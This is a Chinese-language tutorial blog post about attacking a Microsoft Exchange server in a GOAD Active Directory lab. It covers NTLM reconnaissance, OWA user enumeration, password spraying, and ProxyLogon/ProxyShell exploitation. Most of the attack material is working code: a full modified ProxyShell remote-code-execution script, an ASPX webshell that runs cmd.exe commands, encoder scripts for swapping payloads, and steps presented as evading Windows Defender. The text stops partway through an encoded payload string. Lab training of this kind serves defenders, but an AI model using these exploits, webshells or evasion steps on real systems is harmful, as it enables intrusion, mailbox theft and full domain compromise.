iT邦幫忙

2025 iThome 鐵人賽

DAY 24
0
Security

資安這條路:AD 攻防實戰演練系列 第 24

AD 攻防實戰演練 Day 24:Exchange 無憑證攻擊 - ProxyLogon 與 ProxyShell 漏洞利用

  • 分享至 

  • xImage
  •  

Exchange Banner

在企業環境中,Microsoft Exchange 不僅是郵件伺服器,更是 Active Directory 基礎架構的核心元件。攻擊者一旦成功攻陷 Exchange 伺服器,往往能夠取得整個網域的控制權。今天我們將深入學習 Exchange 的無憑證攻擊技術,包括 ProxyLogon 與 ProxyShell 漏洞的利用。

本日學習目標

完成今天的實作後,你將能夠:

  • 理解 Exchange 在 AD 環境中的特殊地位
  • 識別並利用 NTLM 端點進行使用者列舉
  • 執行 OWA 密碼噴灑攻擊
  • 檢測並利用 ProxyLogon 與 ProxyShell 漏洞
  • 繞過 Windows Defender 執行惡意載荷
  • 實施完整的防禦措施

前置準備

環境需求

  • GOAD v3 環境已安裝 Exchange 擴充套件
  • Exchange 伺服器: THE-EYRIE (192.168.139.21)
  • 網域: sevenkingdoms.local
  • 至少 16GB RAM 給 Exchange VM

工具準備

# 安裝 NTLMRecon
git clone https://github.com/pwnfoo/NTLMRecon.git
cd NTLMRecon
python3 -m venv venv
source venv/bin/activate
python3 setup.py install

# 安裝 msmailprobe
git clone https://github.com/busterb/msmailprobe.git
cd msmailprobe
go build msmailprobe.go

# 安裝 TREVORspray
pip3 install trevorspray

# 下載 ProxyShell PoC
git clone https://github.com/dmaasland/proxyshell-poc
cd proxyshell-poc
pip3 install -r requirements.txt

Part 1: Exchange 架構與 NTLM 端點探測

1.1 Exchange 在 AD 中的特殊地位

為什麼 Exchange 是高價值目標?

Exchange 權限架構:
├── Exchange Trusted Subsystem
│   └── 屬於 Domain Admins 群組
│   └── 對整個 AD 有寫入權限
├── Exchange Windows Permissions
│   └── 具有 WriteDacl 權限
│   └── 可修改 AD 物件權限
└── Organization Management
    └── 完整的 Exchange 管理權限
    └── 可匯出任何使用者的郵件

攻擊鏈概覽:

NTLM 端點探測 → 使用者列舉 → 密碼噴灑 → 
ProxyShell RCE → SYSTEM 權限 → DCSync → Domain Admin

1.2 NTLM 端點探測

使用 NTLMRecon 全面掃描

# 安裝並執行
cd ~/tools/NTLMRecon
source venv/bin/activate

# 掃描 Exchange 伺服器
ntlmrecon --input https://192.168.139.21

image

image

NTLMRecon 輸出範例:

URL,Domain Name,Server Name,DNS Domain Name,DNS Computer Name,DNS Tree Name,OS version
https://192.168.139.21/autodiscover/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/Autodiscover/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/ecp/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/EWS/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/mapi/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/Microsoft-Server-ActiveSync/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/OAB/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/owa/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/PowerShell/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/Rpc/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019

美化輸出

# 轉換 CSV 為 JSON
cat ntlmrecon.csv | python -c 'import csv, json, sys; print(json.dumps([dict(r) for r in csv.DictReader(sys.stdin)]))' 

image

關鍵發現:

{
  "AD Domain Name": "SEVENKINGDOMS",
  "Server Name": "THE-EYRIE",
  "DNS Domain Name": "sevenkingdoms.local",
  "FQDN": "the-eyrie.sevenkingdoms.local",
  "Parent DNS Domain": "sevenkingdoms.local"
}

Part 2: 使用者列舉與密碼噴灑

2.1 基於 OWA 的使用者列舉

原理: OWA 登入頁面對有效/無效使用者的回應時間不同

準備使用者清單

image

https://gist.github.com/fei3363/f4fb7edc7f1a6644a7c64e69805a61ef
cast.txt

# 從 Game of Thrones 演員列表產生使用者名稱
cat > extract_users.py << 'EOF'
#!/usr/bin/env python3
import re

with open('cast.txt', 'r', encoding='utf-8') as f:
    lines = f.readlines()

users = set()
for line in lines:
    line = line.strip()
    # 匹配演員名字(首字母大寫的名字)
    if re.match(r'^[A-Z][a-z]+[\s\'-][A-Z]', line):
        # 移除特殊字符,只保留字母和空格
        name = re.sub(r'[^a-zA-Z\s]', '', line)
        parts = name.split()
        
        if len(parts) >= 2:
            # firstname.lastname 格式
            username = f"{parts[0].lower()}.{parts[-1].lower()}"
            users.add(username)

# 排序並輸出
for user in sorted(users):
    print(user)
EOF

python3 extract_users.py > users.txt
# 查看產生的使用者清單
head users.txt

輸出範例:

alfie.allen
aidan.gillen
charles.dance
emilia.clarke
gwendoline.christie
iain.glen
isaac.hempstead.wright
jerome.flynn
john.bradley
kit.harington

使用 msmailprobe 進行列舉

cd ~/tools/msmailprobe

# 執行使用者列舉
./msmailprobe userenum --onprem -t 192.168.139.21 -U ../users.txt -o validusers.txt```

image

# 查看有效使用者
cat validusers.txt

image

輸出:

cersei.lannister
jaime.lannister
joffrey.baratheon
lysa.arryn
renly.baratheon
robert.baratheon
robin.arryn
stannis.baratheon
tywin.lannister

⚠️ 重要提醒:
此列舉方式會對有效帳號產生登入失敗記錄,可能觸發帳號鎖定機制!

2.2 密碼噴灑攻擊

使用 TREVORspray

# 執行密碼噴灑
trevorspray -u validusers.txt \
  -p cersei \
  --url https://192.168.139.21/autodiscover/autodiscover.xml \
  -m owa

image

成功範例輸出:

[*] Starting spray
[+] VALID LOGIN: cersei.lannister@sevenkingdoms.local:cersei
[*] Spray complete. Valid credentials:
cersei.lannister@sevenkingdoms.local:cersei

TREVORspray 特性:

  • 自動延遲以避免帳號鎖定
  • 支援多種認證端點
  • Jitter 隨機化以躲避偵測

Part 3: ProxyLogon 漏洞檢測與利用

3.1 漏洞原理

CVE-2021-26855 (ProxyLogon):

  • SSRF 漏洞,允許未經認證的攻擊者
  • 存取後端 Exchange 伺服器
  • 繞過認證機制

影響版本:

- Exchange Server 2013 < 15.00.1497.012
- Exchange Server 2016 < 15.01.2106.013  
- Exchange Server 2019 < 15.02.0721.013
- Exchange Server 2019 < 15.02.0792.010

3.2 使用 Metasploit 檢測

# 啟動 Metasploit
msfconsole

image

# 使用檢測模組
use auxiliary/scanner/http/exchange_proxylogon
options
set RHOSTS 192.168.139.21
run

image

GOAD 環境結果:

[-] https://192.168.139.21:443 - The target is not vulnerable to CVE-2021-26855.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

原因: GOAD 使用 Exchange 2019 CU9 (版本 >= 15.02.0858.005),已修補此漏洞


Part 4: ProxyShell 漏洞鏈利用

4.1 漏洞鏈組成

ProxyShell 結合三個 CVE:

  1. CVE-2021-34473 - Pre-auth Path Confusion (SSRF)
  2. CVE-2021-34523 - Elevation of Privilege
  3. CVE-2021-31207 - Post-auth Arbitrary File Write

4.2 漏洞檢測

方法 1: 使用 curl 檢測

# 測試 Path Confusion
curl -k -i 'https://192.168.139.21/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'

image

易受攻擊的回應:

HTTP/1.1 302 Found
Location: /owa/auth/logon.aspx?url=https://192.168.139.21/owa/&reason=0

安全的回應應該是 4xx 錯誤

方法 2: 使用 Burp Suite 測試後端存取

  1. 攔截請求到 https://192.168.139.21/autodiscover/autodiscover.json?@test.com/mapi/nspi/
  2. 修改路徑為
GET /autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/2
Host: 192.168.139.21
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*

image

HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/10.0
Request-Id: ecc184e8-4707-4ff1-8ace-667d6523ab9f
X-Calculatedbetarget: the-eyrie.sevenkingdoms.local
X-Serverapplication: Exchange/15.02.0858.002
X-Diaginfo: THE-EYRIE
X-Beserver: THE-EYRIE
X-Aspnet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 08-Oct-1995 13:01:03 GMT; path=/autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-Feserver: THE-EYRIE
Date: Wed, 08 Oct 2025 13:01:03 GMT
Content-Length: 550

<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.858.2<br>Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> NT AUTHORITY\SYSTEM<br><b>UPN:</b> <br><b>SID:</b> S-1-5-18<br><b>Organization:</b> <br><b>Authentication:</b> Negotiate<br><b>PUID:</b> <br><b>TenantGuid::</b> </p><br><p><b>Cafe:</b> the-eyrie.sevenkingdoms.local<br><b>Mailbox:</b> the-eyrie.sevenkingdoms.local</p><p><br><br><br><b>Created:</b> 10/8/2025 1:01:03 PM</p></body></html>
  1. 如果回應 200 OK 且有內容,表示可存取後端 API

image

  • 未經認證成功訪問 /mapi/nspi/ 後端
  • 路徑混淆繞過成功

4.3 手動利用流程

步驟 1: 使用 ProxyShell PoC 取得 PowerShell

cd ~/tools/proxyshell-poc

# 執行 PoC 取得 PowerShell session
python3 proxyshell_rce.py \
  -u https://192.168.139.21 \
  -e administrator@sevenkingdoms.local

image

成功輸出:

LegacyDN: /o=sevenkingdoms/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=9014c52839f34a2da602b8070bbea743-Administra
SID: S-1-5-21-3099511005-1426058213-160971164-500
Token: VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTCFhZG1pbmlzdHJhdG9yQHNldmVua2luZ2RvbXMubG9jYWxVLFMtMS01LTIxLTMwOTk1MTEwMDUtMTQyNjA1ODIxMy0xNjA5NzExNjQtNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NAUAAAAA

關鍵資訊解讀:

  1. LegacyDN(舊版專有名稱)

    • 這是 Exchange 內部識別使用者的唯一路徑
    • 組織名稱:sevenkingdoms
    • 使用者識別碼:9014c52839f34a2da602b8070bbea743
    • 帳號:Administrator
  2. SID(安全識別碼)

    • S-1-5-21-3099511005-1426058213-160971164-500
    • 最後的 -500 代表這是內建的 Administrator 帳號
    • 這是網域的最高權限帳號
  3. Token(驗證權杖)

    • 這是偽造的 Kerberos 驗證權杖
    • 用於後續的權限提升和命令執行
    • 包含 Base64 編碼的使用者身分資訊

步驟 2: 賦予匯出權限

2.1 新增 Mailbox Import Export 角色
# 新增 Mailbox Import Export 角色
PS> New-ManagementRoleAssignment -role "Mailbox Import Export" -user "Administrator"

image

這個命令的作用:

  • 授予 Administrator 使用者「信箱匯入匯出」的權限
  • 這個權限允許使用者讀取和寫入任意信箱的內容
  • 更重要的是,這個權限可以用來寫入任意檔案到伺服器上

WS-Management 協定通訊

127.0.0.1 - - [08/Oct/2025 09:06:58] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2025 09:06:58] "POST /wsman HTTP/1.1" 200 -
...

說明:

  • WSMAN 是 Windows 遠端管理協定
  • 攻擊工具在本機建立了一個代理伺服器(127.0.0.1)
  • 透過 ProxyShell 漏洞將請求轉發到遠端 Exchange 伺服器
  • 所有請求都回傳 200 OK,表示執行成功

指令執行結果

OUTPUT:
Mailbox Import Export-Administrator
ERROR:

解讀:

  • Mailbox Import Export-Administrator:成功建立角色指派
  • ERROR: 為空白:沒有錯誤訊息,表示執行成功

image

2.2 確認角色指派
# 確認角色指派
PS> Get-ManagementRoleAssignment -role "Mailbox Import Export" -GetEffectiveUsers

**作用:**查詢所有擁有「信箱匯入匯出」權限的使用者

驗證結果

OUTPUT:
Mailbox Import Export-Organization Management-Delegating
Mailbox Import Export-Organization Management-Delegating\Administrator
Mailbox Import Export-Administrator
ERROR:

確認三個角色指派:

  1. Mailbox Import Export-Organization Management-Delegating

    • Organization Management 群組的委派權限
  2. Mailbox Import Export-Organization Management-Delegating\Administrator

    • Administrator 透過 Organization Management 群組繼承的權限
  3. Mailbox Import Export-Administrator

    • 剛才新增的直接權限指派(這是關鍵)
現在攻擊者可以
  1. 讀取任意信箱內容
    • 可以存取網域內所有使用者的電子郵件
    • 包括敏感資訊、密碼重設連結、機密文件
  2. 寫入任意檔案到伺服器
    • 利用「信箱匯入匯出」功能的檔案寫入特性
    • 可以上傳 Webshell(網頁後門程式)
    • 可以寫入到 IIS 網站目錄
  3. 執行任意 PowerShell 命令
    • 透過 WS-Management 協定
    • 以 SYSTEM 權限執行
    • 完全控制 Exchange 伺服器
  4. 橫向移動到網域其他系統
    • 可以取得其他使用者的憑證
    • 可以攻擊網域控制站
    • 可以控制整個 Active Directory 網域

步驟 3: 利用郵件匯出寫入 Webshell

# 匯出郵件到 wwwroot (寫入 webshell)
New-MailboxExportRequest -Mailbox "jaime.lannister@sevenkingdoms.local" -FilePath "\\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\shell.aspx"

原理:

  • PST 檔案格式允許嵌入二進位資料
  • 匯出過程會將內容寫入指定路徑
  • 可寫入 ASPX webshell

4.4 繞過 Windows Defender

問題: 預設的 PoC payload 會被 Defender 偵測

解決方案: 自訂編碼 Payload

步驟 1: 建立 decode.py 理解編碼機制

#!/usr/bin/env python3
import base64
import sys

def decode(payload):

        mpbbCryptFrom512 = [
        65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93,
        30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136,
        76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231,
        35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251,
        170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160,
        143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191,
        38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134,
        126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205,
        226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48,
        77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129,
        18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220,
        144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135,
        88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148,
        243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103,
        16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192,
        162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61
    ]
    tmp = ''
    for i in payload:
        tmp += chr(mpbbCryptFrom512[i])
    return tmp

if __name__ == "__main__":
    # 原始 payload from PoC
    webshell = "ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTTDdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk="
    
    webshell_decoded = base64.b64decode(webshell)
    result = decode(webshell_decoded)
    print(result)

執行結果:

<script language='JScript' runat='server'>
function Page_Load(){
    eval(Request['exec_code'],'unsafe');Response.End;
}
</script>

步驟 2: 建立 encode.py

#!/usr/bin/env python3
import base64
import sys

def encode(payload):
    
    mpbbCryptFrom512 = [
        65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93,
        30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136,
        76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231,
        35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251,
        170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160,
        143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191,
        38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134,
        126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205,
        226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48,
        77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129,
        18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220,
        144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135,
        88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148,
        243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103,
        16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192,
        162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61
    ]
    tmp = b''
    for i in payload:
        tmp += bytes([mpbbCryptFrom512.index(ord(i))])
    return tmp

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f'Usage: python3 {sys.argv[0]} <filename>')
        sys.exit(0)
    
    with open(sys.argv[1], 'r') as f:
        webshell = f.read()
        print('[+] Input shell:')
        print(webshell)
        print('[+] Base64 result:')
        result = encode(webshell)
        print(base64.b64encode(result).decode())

步驟 3: 建立繞過 Defender 的 Payload

<!-- bypass_shell.aspx -->
<asp:Label ID="lblOutput" runat="server" Text="" />
<script language='JScript' runat='server'>
function Page_Load(){
  try {
      var fso = new ActiveXObject("Scripting.FileSystemObject");
      var sourcePath = "C:\\Windows\\System32\\cmd.exe";
      var destPath = Server.MapPath("./runme.exe");
      fso.CopyFile(sourcePath,destPath,true);
  } catch (e) {
      lblOutput.Text = "Error copying file: " + e.message;
      return;
  }

  var command = Request["exec_code"];
  if (!command || command == "") {
      lblOutput.Text = "<br>Please provide a command.";
      return;
  }
  
  try {
      var psi = new System.Diagnostics.ProcessStartInfo();
      psi.FileName = Server.MapPath("./runme.exe");
      psi.Arguments = "/c " + command;
      psi.RedirectStandardOutput = true;
      psi.UseShellExecute = false;
      psi.CreateNoWindow = true;
      
      var process = new System.Diagnostics.Process();
      process.StartInfo = psi;
      process.Start();
      var output = process.StandardOutput.ReadToEnd();
      process.WaitForExit();
      
      lblOutput.Text = output;
  } catch (e) {
      lblOutput.Text += "<br>Error: " + e.message;
  }
}
</script>

步驟 4: 編碼並替換 Payload

# 編碼自訂 payload
python3 encode.py bypass_shell.aspx

# 複製輸出的 base64 字串
# 修改 proxyshell_rce.py 中的 webshell 變數
# 同時修改解析器以擷取 <span id="lblOutput"> ... </span>
cat proxyshell_rce_defender_bypass.py
#!/usr/bin/env python3
#
# ProxyShell RCE with Windows Defender Bypass
# Modified from: https://github.com/dmaasland/proxyshell-poc

import argparse
import base64
import struct
import random
import string
import requests
import threading
import sys
import time
import re
import xml.etree.ElementTree as ET

from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from functools import partial


class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""


class PwnServer(BaseHTTPRequestHandler):
    def __init__(self, proxyshell, *args, **kwargs):
        self.proxyshell = proxyshell
        super().__init__(*args, **kwargs)

    def do_POST(self):
        powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}'
        length = int(self.headers['content-length'])
        content_type = self.headers['content-type']
        post_data = self.rfile.read(length).decode()

        headers = {
            'Content-Type': content_type
        }

        r = self.proxyshell.post(
            powershell_url,
            post_data,
            headers
        )

        resp = r.content
        self.send_response(200)
        self.end_headers()
        self.wfile.write(resp)


class ProxyShell:

    def __init__(self, exchange_url, email, verify=False):

        self.email = email
        self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}'
        self.rand_email = f'{rand_string()}@{rand_string()}.{rand_string(3)}'
        self.sid = None
        self.legacydn = None
        self.rand_subj = rand_string(16)

        self.session = requests.Session()
        self.session.verify = verify
        self.session.headers = {
            'Cookie': f'Email=autodiscover/autodiscover.json?a={self.rand_email}'
        }

    def post(self, endpoint, data, headers={}):

        url = f'{self.exchange_url}/autodiscover/autodiscover.json?a={self.rand_email}{endpoint}'
        r = self.session.post(
            url=url,
            data=data,
            headers=headers
        )
        return r

    def get_token(self):

        self.token = self.gen_token()

    def get_sid(self):

        data = self.legacydn
        data += '\x00\x00\x00\x00\x00\xe4\x04'
        data += '\x00\x00\x09\x04\x00\x00\x09'
        data += '\x04\x00\x00\x00\x00\x00\x00'

        headers = {
            "X-Requesttype": 'Connect',
            "X-Clientinfo": '{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}',
            "X-Clientapplication": 'Outlook/15.0.4815.1002',
            "X-Requestid": '{C715155F-2BE8-44E0-BD34-2960067874C8}:2',
            'Content-Type': 'application/mapi-http'
        }

        r = self.post(
            '/mapi/emsmdb',
            data,
            headers
        )

        self.sid = r.text.split("with SID ")[1].split(" and MasterAccountSid")[0]

    def get_legacydn(self):

        data = self.autodiscover_body()
        headers = {'Content-Type': 'text/xml'}
        r = self.post(
            '/autodiscover/autodiscover.xml',
            data,
            headers
        )

        autodiscover_xml = ET.fromstring(r.content)
        self.legacydn = autodiscover_xml.find(
            '{*}Response/{*}User/{*}LegacyDN'
        ).text

    def autodiscover_body(self):

        autodiscover = ET.Element(
            'Autodiscover',
            xmlns='http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006'
        )

        request = ET.SubElement(autodiscover, 'Request')
        ET.SubElement(request, 'EMailAddress').text = self.email
        ET.SubElement(request, 'AcceptableResponseSchema').text = 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a'

        return ET.tostring(
            autodiscover,
            encoding='unicode',
            method='xml'
        )

    def gen_token(self):

        version = 0
        ttype = 'Windows'
        compressed = 0
        auth_type = 'Kerberos'
        raw_token = b''
        gsid = 'S-1-5-32-544'

        version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
        type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
        compress_data = b'C' + (compressed).to_bytes(1, 'little')
        auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
        login_data = b'L' + (len(self.email)).to_bytes(1, 'little') + self.email.encode()
        user_data = b'U' + (len(self.sid)).to_bytes(1, 'little') + self.sid.encode()
        group_data = b'G' + struct.pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
        ext_data = b'E' + struct.pack('>I', 0)

        raw_token += version_data
        raw_token += type_data
        raw_token += compress_data
        raw_token += auth_data
        raw_token += login_data
        raw_token += user_data
        raw_token += group_data
        raw_token += ext_data

        data = base64.b64encode(raw_token).decode()

        return data


def rand_string(n=5):

    return ''.join(random.choices(string.ascii_lowercase, k=n))


def exploit(proxyshell):

    proxyshell.get_legacydn()
    print(f'LegacyDN: {proxyshell.legacydn}')

    proxyshell.get_sid()
    print(f'SID: {proxyshell.sid}')

    proxyshell.get_token()
    print(f'Token: {proxyshell.token}')


def start_server(proxyshell, port):

    handler = partial(PwnServer, proxyshell)
    server = ThreadedHTTPServer(('', port), handler)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()


def shell(command, port, proxyshell):

    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:


        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet(
                'New-MailboxExportRequest'
            ).add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter(
                'IncludeFolders', '#Drafts#'
            ).add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\''
            )
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')

            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:

                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        # 直接傳送命令給新的 payload
                        r = requests.get(
                            shell_url,
                            params={
                                'exec_code': cmd
                            },
                            verify=proxyshell.session.verify
                        )

                        # 使用正則表達式提取 lblOutput 內容
                        try:
                            match = re.search(b'<span id="lblOutput">(.*?)</span>', r.content, re.DOTALL)
                            if match:
                                output = match.group(1).decode('utf-8', errors='ignore')
                                # 移除 HTML 標籤
                                output = re.sub(r'<br\s*/?>', '\n', output)
                                print(output)
                            else:
                                print("[!] 無法解析輸出,顯示原始內容:")
                                print(r.text[:500])
                        except Exception as e:
                            print(f"[!] 解析錯誤: {e}")
                            print(r.text[:500])

                time.sleep(5)

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))


def get_args():

    parser = argparse.ArgumentParser(description='ProxyShell with Defender Bypass')
    parser.add_argument('-u', help='Exchange URL', required=True)
    parser.add_argument('-e', help='Email address', required=True)
    parser.add_argument('-p', help='Local wsman port', default=8000, type=int)
    return parser.parse_args()


def drop_shell(proxyshell):

    # 這是編碼後的 bypass_shell.aspx payload
    # 使用 encode.py bypass_shell.aspx 產生
    # 請將此處替換為你自己編碼後的結果

    ENCODED_PAYLOAD ="lanWaW4gqQPazTnF3P+WzQPNg/cUafcUljmG9wapFP+W1tqGpdqGljnS2nUU/5aWOfvZnpXWVIa3aRQ5zakG3/ep39r/gmFnVIa3aRSCOYb3BqkU/4LW2oal2oaC2Z5d9wZUFLfTBjm5qd/aKSDTqQ2MyemeOTmlqYY5VNONjakGDTn/Ob7aXPfa1hR+ltp12lQpVNMN2pYPMZ45ObddOYwFVNONjakGDTlFRTlU042NqQYNOf//OZaWyTnpnjk5OTk5Oc0DzYP3FGn3FPPS2nUUOf85lr7aqQ2sljGeOTk5OTk5htoU94YGMZ45OSGeOTmeOTkUhqw56Z45OTk5OTmlqYY5ada3Of85BtpmOWes1hTajfPct6nfBtPWFLdU1vO5htNU2tbWZxSphhTFBl3TjMkxnjk5OTk5OWnWt/M7t83aPamN2jn/OZZUjQ3z2nXaljGeOTk5OTk5ada38wCG3/eN2gYU1jn/OZb7VDmWOUo5VNONjakGDTGeOTk5OTk5ada3877aDbeG2lQUZxSpBg2phg2D9xRp9xQ5/zkUhvfaMZ45OTk5OTlp1rfzvtoNt4baVBRnFKkGDamGDUSGhtOGOf85FIb32jGeOTk5OTk5ada380bW2mf22s3NRHXaVPcU2jn/OV2pzdbaMZ45OTk5OTlp1rfzeYbaqRTaPdN2twYN02Y5/zkUhvfaMZ45OTk5OTmeOTk5OTk5pamGOWmG01Ta1tY5/zkG2mY5Z6zWFNqN89y3qd8G09YUt1TW87mG01Ta1taMyTGeOTk5OTk5aYbTVNrW1vNnFKmGFMUGXdM5/zlp1rcxnjk5OTk5OWmG01Ta1tbzZxSphhSMyTGeOTk5OTk5pamGOdP3FGn3FDn/OWmG01Ta1tbzZxSpBg2phg2D9xRp9xTzvtqpDdLTRAYNjMkxnjk5OTk5OaWphjnahobThjn/OWmG01Ta1tbzZxSpBg2phg1EhobThvO+2qkN0tNEBg2MyTGeOTk5OTk5aYbTVNrW1vN2qbcUO9OGRHW3FIzJMZ45OTk5OTmeOTk5OTk5zQPNg/cUafcU89LadRQ5/znT9xRp9xQ5SjnahobThjGeOTkhOVSpF